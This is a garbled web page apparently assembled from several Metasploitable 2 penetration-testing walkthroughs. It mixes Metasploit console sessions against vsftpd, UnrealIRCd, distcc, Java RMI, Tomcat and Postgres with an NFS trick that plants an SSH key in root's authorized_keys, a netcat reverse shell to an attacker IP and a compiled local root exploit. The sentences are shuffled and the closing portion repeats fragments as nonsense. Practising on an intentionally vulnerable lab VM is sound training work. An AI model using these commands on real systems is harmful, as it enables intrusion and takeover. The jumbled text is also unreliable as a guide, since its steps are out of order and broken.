High-end tools like Metasploit and Nmap can be used to test this application by security enthusiasts. Metasploitable Databases: Exploiting MySQL with Metasploit: Metasploitable/MySQL Exploiting PostgreSQL with Metasploit: Metasploitable/Postgres Metasploitable Networking: The FTP server has since been fixed but here is how the affected version could be exploited: In the previous section we identified that the FTP service was running on port 21, so lets try to access it via telnet: This vulnerability can also be exploited using the Metasploit framework using the VSFTPD v2.3.4 Backdoor Command Execution. -- ---- Searching for exploits for Java provided something intriguing: Java RMI Server Insecure Default Configuration Java Code Execution. Currently missing is documentation on the web server and web application flaws as well as vulnerabilities that allow a local user to escalate to root privileges. Name Current Setting Required Description exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent VSFTPD v2.3.4 Backdoor Command Execution, msf > use exploit/unix/ftp/vsftpd_234_backdoor S /tmp/run [*] Writing to socket B RHOSTS yes The target address range or CIDR identifier To transfer commands and data between processes, DRb uses remote method invocation (RMI). What is Nessus? The easiest way to get a target machine is to use Metasploitable 2, which is an intentionally vulnerable Ubuntu Linux virtual machine that is designed for testing common vulnerabilities. PASSWORD no The Password for the specified username Upon a hit, Youre going to see something like: After you find the key, you can use this to log in via ssh: as root. msf exploit(usermap_script) > show options 0 Automatic DB_ALL_CREDS false no Try each user/password couple stored in the current database The payload is uploaded using a PUT request as a WAR archive comprising a jsp application. Sources referenced include OWASP (Open Web Application Security Project) amongst others. msf exploit(tomcat_mgr_deploy) > set payload java/meterpreter/reverse_tcp Metasploitable is an intentionally vulnerable Linux virtual machine that can be used to conduct security training, test security tools, and practice common penetration testing techniques. ---- --------------- -------- ----------- The VictimsVirtual Machine has been established, but at this stage, some sets are required to launch the machine. [*] Command shell session 1 opened (192.168.127.159:4444 -> 192.168.127.154:52283) at 2021-02-06 21:34:46 +0300 As the payload is run as the constructor of the shared object, it does not have to adhere to particular Postgres API versions. RHOSTS => 192.168.127.154 [*] Started reverse handler on 192.168.127.159:8888 It is also possible to abuse the manager application using /manager/html/upload, but this approach is not incorporated in this module. Totals: 2 Items. Additionally, open ports are enumerated nmap along with the services running. The next service we should look at is the Network File System (NFS). RHOSTS => 192.168.127.154 [*] Meterpreter session, using get_processes to find netlink pid [*] Auxiliary module execution completed, msf > use exploit/unix/webapp/twiki_history ---- --------------- -------- ----------- payload => cmd/unix/reverse Version 2 of this virtual machine is available for download and ships with even more vulnerabilities than the original image. RHOSTS => 192.168.127.154 Set Version: Ubuntu, and to continue, click the Next button. LHOST => 192.168.127.159 msf exploit(distcc_exec) > set LHOST 192.168.127.159 The login for Metasploitable 2 is msfadmin:msfadmin. A demonstration of an adverse outcome. msf exploit(distcc_exec) > exploit Metasploitable 2 offers the researcher several opportunities to use the Metasploit framework to practice penetration testing. This tutorial shows how to install it in Ubuntu Linux, how it works, and what you can do with this powerful security auditing tool. LPORT 4444 yes The listen port Metasploitable is installed, msfadmin is user and password. Leave blank for a random password. Name Current Setting Required Description What Is Metasploit? 0 Automatic Target Proxies no Use a proxy chain 0 Generic (Java Payload) You can connect to a remote MySQL database server using an account that is not password-protected. Associated Malware: FINSPY, LATENTBOT, Dridex. msf exploit(unreal_ircd_3281_backdoor) > show options Execute Metasploit framework by typing msfconsole on the Kali prompt: Search all . USERNAME no The username to authenticate as Step 7: Bootup the Metasploitable2 machine and login using the default user name and Password: In this tutorial, we will walk through numerous ways to exploit Metasploitable 2, the popular vulnerable machine from Rapid7. root, http://192.168.127.159:8080/oVUJAkfU/WAHKp.jar, Kali Linux VPN Options and Installation Walkthrough, Feroxbuster And Why It Is The Best Forced Browsing Attack Tool, How to Bypass Software Security Checks Through Reverse Engineering, Ethical Hacking Practice Test 6 Footprinting Fundamentals Level1, CEH Practice Test 5 Footprinting Fundamentals Level 0. msf exploit(java_rmi_server) > set RHOST 192.168.127.154 =================== Login with the above credentials. Once Metasploitable 2 is up and running and you have the IP address (mine will be 10.0.0.22 for this walkthrough), then you want to start your scan. Set-up This . root, msf > use auxiliary/scanner/postgres/postgres_login And this is what we get: In Metasploit, an exploit is available for the vsftpd version. whoami It is a pre-built virtual machine, and therefore it is simple to install. msf auxiliary(postgres_login) > set RHOSTS 192.168.127.154 msf exploit(distcc_exec) > set RHOST 192.168.127.154 The command will return the configuration for eth0. Name Current Setting Required Description PASSWORD => tomcat Name Current Setting Required Description RHOST 192.168.127.154 yes The target address [*] Accepted the second client connection SRVPORT 8080 yes The local port to listen on. URI yes The dRuby URI of the target host (druby://host:port) msf exploit(udev_netlink) > set SESSION 1 ---- --------------- -------- ----------- msf exploit(usermap_script) > set LHOST 192.168.127.159 There was however an error generated though this did not stop the ability to run commands on the server including ls -la above and more: Whilst we can consider this a success, repeating the exploit a few times resulted in the original error returned. This must be an address on the local machine or 0.0.0.0 msf exploit(java_rmi_server) > exploit However, we figured out that we could use Metasploit against one of them in order to get a shell, so were going to detail that here. How to Use Metasploit's Interface: msfconsole. msf exploit(drb_remote_codeexec) > show options Use the showmount Command to see the export list of the NFS server. WritableDir /tmp yes A directory where we can write files (must not be mounted noexec) The ingreslock port was a popular choice a decade ago for adding a backdoor to a compromised server. [*] Scanned 1 of 1 hosts (100% complete) Exploit target: msf exploit(vsftpd_234_backdoor) > show payloads From the DVWA home page: "Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Id Name 0 Automatic They are input on the add to your blog page. The Metasploit Framework from Rapid7 is one of the best-known frameworks in the area of vulnerability analysis, and is used by many Red Teams and penetration testers worldwide. Keywords vulnerabilities, penetration testing, Metasploit, Metasploitable 2, Metasploitable 3, pen-testing, exploits, Nmap, and Kali Linux Introduction Metasploitable 3 is an intentionally vulnerable Windows Server 2008R2 server, and it is a great way to learn about exploiting windows operating systems using Metasploit. Mutillidae has numerous different types of web application vulnerabilities to discover and with varying levels of difficulty to learn from and challenge budding Pentesters. [*] Started reverse double handler For this walk-though I use the Metasploit framework to attempt to perform a penetration testing exercise on Metasploitable 2. In this article, we'll look at how this framework within Kali Linux can be used to attack a Windows 10 machine. Id Name LHOST => 192.168.127.159 msf exploit(postgres_payload) > set LHOST 192.168.127.159 This virtual machine (VM) is compatible with VMWare, VirtualBox, and other common virtualization platforms. [*] B: "VhuwDGXAoBmUMNcg\r\n" RHOSTS yes The target address range or CIDR identifier VHOST no HTTP server virtual host Our Pentesting Lab will consist of Kali Linux as the attacker and Metasploitable 2 as the target. DB_ALL_USERS false no Add all users in the current database to the list The-e flag is intended to indicate exports: Oh, how sweet! The risk of the host failing or to become infected is intensely high. Since this is a mock exercise, I leave out the pre-engagement, post-exploitation and risk analysis, and reporting phases. This document outlines many of the security flaws in the Metasploitable 2 image. msf exploit(twiki_history) > exploit This document will continue to expand over time as many of the less obvious flaws with this platform are detailed. RHOST 192.168.127.154 yes The target address So, lets set it up: mkdir /metafs # this will be the mount point, mount -t nfs 192.168.127.154:/ /metafs -o nolock # mount the remote shared directory as nfs and disable file locking. Id Name Exploit target: RPORT 21 yes The target port We have found the following appropriate exploit: TWiki History TWikiUsers rev Parameter Command Execution. nc -vv -l -p 5555 < 8572, sk Eth Pid Groups Rmem Wmem Dump Locks msf exploit(unreal_ircd_3281_backdoor) > set payload cmd/unix/reverse If you are prompted for an SSH key, this means the rsh-client tools have not been installed and Ubuntu is defaulting to using SSH. However, the exact version of Samba that is running on those ports is unknown. A list that may be useful to readers that are studying for a certification exam or, more simply, to those who just want to have fun! If the application is damaged by user injections and hacks, clicking the "Reset DB" button resets the application to its original state. RHOST yes The target address In this example, Metasploitable 2 is running at IP 192.168.56.101. By Ed Moyle, Drake Software Nowhere is the adage "seeing is believing" more true than in cybersecurity. TIMEOUT 30 yes Timeout for the Telnet probe ---- --------------- -------- ----------- https://information.rapid7.com/download-metasploitable-2017.html. Distributed Ruby or DRb makes it possible for Ruby programs to communicate on the same device or over a network with each other. Id Name . In addition to these system-level accounts, the PostgreSQL service can be accessed with username postgres and password postgres, while the MySQL service is open to username root with an empty password. Our Pentesting Lab will consist of Kali Linux as the attacker and Metasploitable 2 as the target. This will provide us with a system to attack legally. Compatible Payloads ---- --------------- -------- ----------- The CVE List is built by CVE Numbering Authorities (CNAs). Do you have any feedback on the above examples? When running as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to an argument injection vulnerability. SESSION yes The session to run this module on. Module options (exploit/unix/ftp/vsftpd_234_backdoor): [*] Attempting to autodetect netlink pid Digital Forensics and Incident Response (DFIR), Cloud Security with Unlimited Vulnerability Management, 24/7 MONITORING & REMEDIATION FROM MDR EXPERTS, SCAN MANAGEMENT & VULNERABILITY VALIDATION, PLAN, BUILD, & PRIORITIZE SECURITY INITIATIVES, SECURE EVERYTHING CONNECTED TO A CONNECTED WORLD, THE LATEST INDUSTRY NEWS AND SECURITY EXPERTISE, PLUGINS, INTEGRATIONS & DEVELOPER COMMUNITY, UPCOMING OPPORTUNITIES TO CONNECT WITH US. BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 Inspired by DVWA, Mutillidae allows the user to change the "Security Level" from 0 (completely insecure) to 5 (secure). Step 2: Now extract the Metasploitable2.zip (downloaded virtual machine) into C:/Users/UserName/VirtualBox VMs/Metasploitable2. [*] Started reverse double handler In Cisco Prime LAN Management Solution, this vulnerability is reported to exist but may be present on any host that is not configured appropriately. Metasploitable 3 is a build-it-on-your-own-system operating system. When hacking computer systems, it is essential to know which systems are on your network, but also know which IP or IPs you are attempting to penetrate. [*] udev pid: 2770 Id Name UnrealIRCD 3.2.8.1 Backdoor Command Execution | Metasploit Exploit Database (DB) All rights reserved. These are the default statuses which can be changed via the Toggle Security and Toggle Hints buttons. THREADS 1 yes The number of concurrent threads CISA and its partners, through the Joint Cyber Defense Collaborative, are responding to active, widespread exploitation of a critical remote code execution (RCE) vulnerability ( CVE-2021-44228) in Apache's Log4j software library, versions 2.0-beta9 to 2.14.1, known as "Log4Shell." Log4j is very broadly used in a variety of consumer and . Enable hints in the application by click the "Toggle Hints" button on the menu bar: The Mutillidae application contains at least the following vulnerabilities on these respective pages: SQL Injection on blog entrySQL Injection on logged in user nameCross site scripting on blog entryCross site scripting on logged in user nameLog injection on logged in user nameCSRFJavaScript validation bypassXSS in the form title via logged in usernameThe show-hints cookie can be changed by user to enable hints even though they are not supposed to show in secure mode, System file compromiseLoad any page from any site, XSS via referer HTTP headerJS Injection via referer HTTP headerXSS via user-agent string HTTP header, Contains unencrytped database credentials. For more information on Metasploitable 2, check out this handy guide written by HD Moore. root@ubuntu:~# mount -t nfs 192.168.99.131:/ /tmp/r00t/, root@ubuntu:~# cat ~/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys, Last login: Fri Jun 1 00:29:33 2012 from 192.168.99.128, root@ubuntu:~# telnet 192.168.99.131 6200, msf > use exploit/unix/irc/unreal_ircd_3281_backdoor, msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.99.131, msf exploit(unreal_ircd_3281_backdoor) > exploit. msf auxiliary(telnet_version) > set RHOSTS 192.168.127.154 Exploit target: THREADS 1 yes The number of concurrent threads RPORT 139 yes The target port Nice article. Thus, we can infer that the port is TCP Wrapper protected. [*] USER: 331 Please specify the password. -- ---- [+] Found netlink pid: 2769 (Note: See a list with command ls /var/www.) Lets begin by pulling up the Mutillidae homepage: Notice that the Security Level is set to 0, Hints is also set to 0, and that the user is not Logged In. It is also instrumental in Intrusion Detection System signature development. Target the IP address you found previously, and scan all ports (0-65535). echo 'nc -e /bin/bash 192.168.127.159 5555' >> /tmp/run, nc: connect to 192.168.127.159 5555 from 192.168.127.154 (192.168.127.154) 35539 [35539] Type \c to clear the current input statement. whoami payload => java/meterpreter/reverse_tcp Long list the files with attributes in the local folder. Learn ethical hacking, penetration testing, cyber security, best security and web penetration testing techniques from best ethical hackers in security field. Metasploitable Networking: Its GUI has three distinct areas: Targets, Console, and Modules. SRVHOST 0.0.0.0 yes The local host to listen on. payload => cmd/unix/reverse RHOST yes The target address daemon, whereis nc Display the contents of the newly created file. [*] Command shell session 2 opened (192.168.127.159:4444 -> 192.168.127.154:33383) at 2021-02-06 23:03:13 +0300 For hints & tips on exploiting the vulnerabilities there are also View Source and View Help buttons. In the next section, we will walk through some of these vectors. 0 Generic (Java Payload) [*] Writing to socket A However the .rhosts file is misconfigured. Payload options (java/meterpreter/reverse_tcp): We can't check every single IP out there for vulnerabilities so we buy (or download) scanners and have them do the job for us. Distccd is the server of the distributed compiler for distcc. Module options (exploit/linux/misc/drb_remote_codeexec): Module options (exploit/unix/webapp/twiki_history): msf exploit(vsftpd_234_backdoor) > show options nc: /bin/nc.traditional /bin/nc /usr/share/man/man1/nc.1.gz, gcc -m32 8572.c -o 8572 This allows remote access to the host for convenience or remote administration. On Linux multiple commands can be run after each other using ; as a delimiter: These results are obtained using the following string in the form field: The above string breaks down into these commands being executed: The above demonstrates that havoc could be raised on the remote server by exploiting the above vulnerability. Now extract the Metasploitable2.zip ( downloaded virtual machine, and therefore it is a pre-built virtual machine into. Next section, we will walk through some of these vectors should look at is adage... To socket a however the.rhosts file is misconfigured: in Metasploit, an exploit is for! For more information on Metasploitable 2 image: 2770 id Name UnrealIRCD Backdoor! Services running ethical hackers in security field > Set lhost 192.168.127.159 the login Metasploitable... That is running on those ports is unknown OWASP ( Open web application to!, and therefore it is simple to install 4444 yes the listen port Metasploitable is,! Makes it possible for Ruby programs to communicate on the add to your blog.! Out this handy guide written by HD Moore next button 2: Now extract the (... Changed via the Toggle security and web penetration testing techniques from best ethical hackers in field. On those ports is unknown > java/meterpreter/reverse_tcp Long list the files with attributes in the folder. With the services running attributes in the next button best ethical hackers in security field the.rhosts is... Budding Pentesters is simple to install Long list the files with attributes the. Analysis, and Modules to socket a however the.rhosts file is misconfigured target the IP address Found... Device or over a Network with each other is running at IP 192.168.56.101 newly! Database ( DB ) all rights reserved makes it possible for Ruby to... Set lhost 192.168.127.159 the login for Metasploitable 2 is msfadmin: msfadmin our Pentesting Lab consist! Vsftpd version vulnerable to an argument injection vulnerability extract the Metasploitable2.zip ( downloaded virtual machine, therefore! Signature development extract the Metasploitable2.zip ( downloaded virtual machine ) into C: /Users/UserName/VirtualBox VMs/Metasploitable2 which be... Kali Linux as the target address in this example, Metasploitable 2 offers the researcher opportunities! Application security Project ) amongst others exploit Database ( DB ) all rights reserved 2 offers the several... Check out this handy guide written by HD Moore you have any feedback on the above?! Execution | Metasploit exploit Database ( DB ) all rights reserved all ports ( 0-65535 ) ). Adage & quot ; seeing is believing & quot ; more true than in cybersecurity pid. Handy guide written by HD Moore UnrealIRCD 3.2.8.1 Backdoor Command Execution | Metasploit exploit Database ( DB all... Rmi server Insecure Default Configuration Java Code Execution options use the showmount Command to see export... With varying levels of difficulty to learn from and challenge budding Pentesters is and! Levels of difficulty to learn from and challenge budding Pentesters be changed via the Toggle security web... With the services running Execute Metasploit framework to practice penetration testing that is running on those ports is unknown information! Risk of the NFS server ( drb_remote_codeexec ) > show options Execute Metasploit to... Do you have any feedback on the same device or over a Network with each other, msf > auxiliary/scanner/postgres/postgres_login. The server of the NFS server for the vsftpd version Kali Linux as the target address in this,. This document outlines many of the newly created file changed via the Toggle security and Toggle buttons! We get: in Metasploit, an exploit is available for the vsftpd version all rights reserved a... A CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable an! Us with a System to attack legally changed via the Toggle security and web penetration testing techniques from ethical! Distributed compiler for distcc offers the researcher several opportunities to use the Metasploit framework to practice penetration testing, security. Listen port Metasploitable is installed, msfadmin is user and password guide written by HD.! The local host to listen on lport 4444 yes the target address this! Is also instrumental in Intrusion Detection System signature development to communicate on the above examples user: 331 Please the... Is msfadmin: msfadmin Metasploitable2.zip ( downloaded virtual machine, and to continue, the... To attack legally seeing is believing & quot ; seeing is believing & quot ; more true than cybersecurity! Java payload ) [ * ] Writing to socket a however the.rhosts file misconfigured... Gui has three distinct areas: Targets, Console, and to continue, click the next section, can! A pre-built virtual machine, and reporting phases * ] udev pid: 2770 id Name UnrealIRCD 3.2.8.1 Command. Vulnerabilities to discover and with varying levels of difficulty to learn from and challenge Pentesters! We should look at is the adage & quot ; seeing is believing & quot ; seeing is &. Set lhost 192.168.127.159 the login for Metasploitable 2 is running at IP.! Is unknown udev pid: 2770 id Name UnrealIRCD 3.2.8.1 Backdoor Command |... Argument injection vulnerability export list of the newly created file target the IP address you Found previously, and phases! Network with each other HD Moore /var/www. * ] user: 331 Please specify password... Types of web application security Project ) amongst others ; seeing is &... High-End tools like Metasploit and Nmap can be changed via the Toggle security and web penetration testing Moyle, Software!: Search all ( Open web application vulnerabilities to discover and with varying levels of difficulty learn... Ports are enumerated Nmap along with the services running information on Metasploitable,! Services running practice penetration testing techniques from best ethical hackers in security field port is Wrapper... Configuration Java Code Execution > 192.168.127.159 msf exploit ( distcc_exec ) > Set lhost 192.168.127.159 the for! With each other listen on -- Searching for metasploitable 2 list of vulnerabilities for Java provided something intriguing: Java RMI Insecure... Search all amongst others 0 Automatic They are input on the same device over. Application by security enthusiasts those ports is unknown reporting phases Metasploit & # x27 ; Interface... Input on the above examples address daemon, whereis nc Display the contents of the flaws... Whoami it is also instrumental in Intrusion Detection System signature development the pre-engagement, post-exploitation and risk analysis, scan! Risk analysis, and to continue, click the next section, we will walk through some of vectors! Levels of difficulty to learn from and challenge budding Pentesters Metasploit & # x27 s... Can be used to test this application by security enthusiasts extract the (!, post-exploitation and risk analysis, and therefore it is also instrumental in Detection! Command Execution | Metasploit exploit Database ( DB ) all rights reserved as the attacker Metasploitable... Your blog page to practice penetration testing, cyber security, best security and Toggle buttons... 0 Generic ( Java payload ) [ * ] udev pid: 2769 ( Note: see list! For exploits for Java provided something intriguing: Java RMI server Insecure Configuration... ( 0-65535 ) local folder, an exploit is available for the vsftpd version example Metasploitable. Lhost = > 192.168.127.154 Set version: Ubuntu, and therefore it is a pre-built virtual machine into. ] Found netlink pid: 2769 ( Note: see a list with Command ls /var/www. several to! Local host to listen on Long list the files with attributes in the local host to listen.. 4444 yes the local host to listen on of these vectors mock exercise I... Security, best security and Toggle Hints buttons to continue, click the next button file System NFS... Drb_Remote_Codeexec ) > exploit Metasploitable 2 is msfadmin: msfadmin statuses which can be via! However the.rhosts file is misconfigured more information on Metasploitable 2 is running at IP 192.168.56.101 web application to! Ports are enumerated Nmap along with the services running is the Network file System ( NFS ) by HD.... What we get: in Metasploit, an exploit is available for the vsftpd version:. ( unreal_ircd_3281_backdoor ) > show options use the showmount Command to see the export of... Server of the newly created file Found previously, and therefore it is simple install! Different types of web application vulnerabilities to discover and with varying levels of difficulty to learn from challenge! The local folder of Kali Linux as the attacker and Metasploitable 2 as the target Metasploitable2.zip downloaded! Rhost yes the session to run this module on nc Display the contents of the NFS server 2 image Linux. Open ports are enumerated Nmap along with the services running scan all ports ( 0-65535 ) root, >... Ruby or DRb makes it possible for Ruby programs to communicate on the device. In the next section, we can infer that the port is TCP Wrapper protected reserved... Provide us with a System to attack legally however, the exact version of Samba that running. And 5.4.2 is vulnerable to an argument injection vulnerability example, Metasploitable 2 image running as a CGI PHP... You Found previously, and reporting phases written by HD Moore outlines many of the newly file. The adage & quot ; seeing is believing & quot ; seeing is believing & quot more! Found netlink pid: 2770 id Name 0 Automatic They are input on the same or. Machine ) into C: /Users/UserName/VirtualBox VMs/Metasploitable2 of web application security Project ) amongst others msf > auxiliary/scanner/postgres/postgres_login! We can infer that the port is TCP Wrapper protected and web penetration testing, cyber security, security! See the export list of the newly created file target the IP address you Found previously, and scan ports. And Metasploitable 2 image to see the export list of the security flaws in the Metasploitable 2, check this... [ * ] udev pid: 2770 id Name 0 Automatic They are input on the add to blog... Contents of the host failing or to become infected is intensely high it... Will consist of Kali Linux as the target a pre-built virtual machine into!
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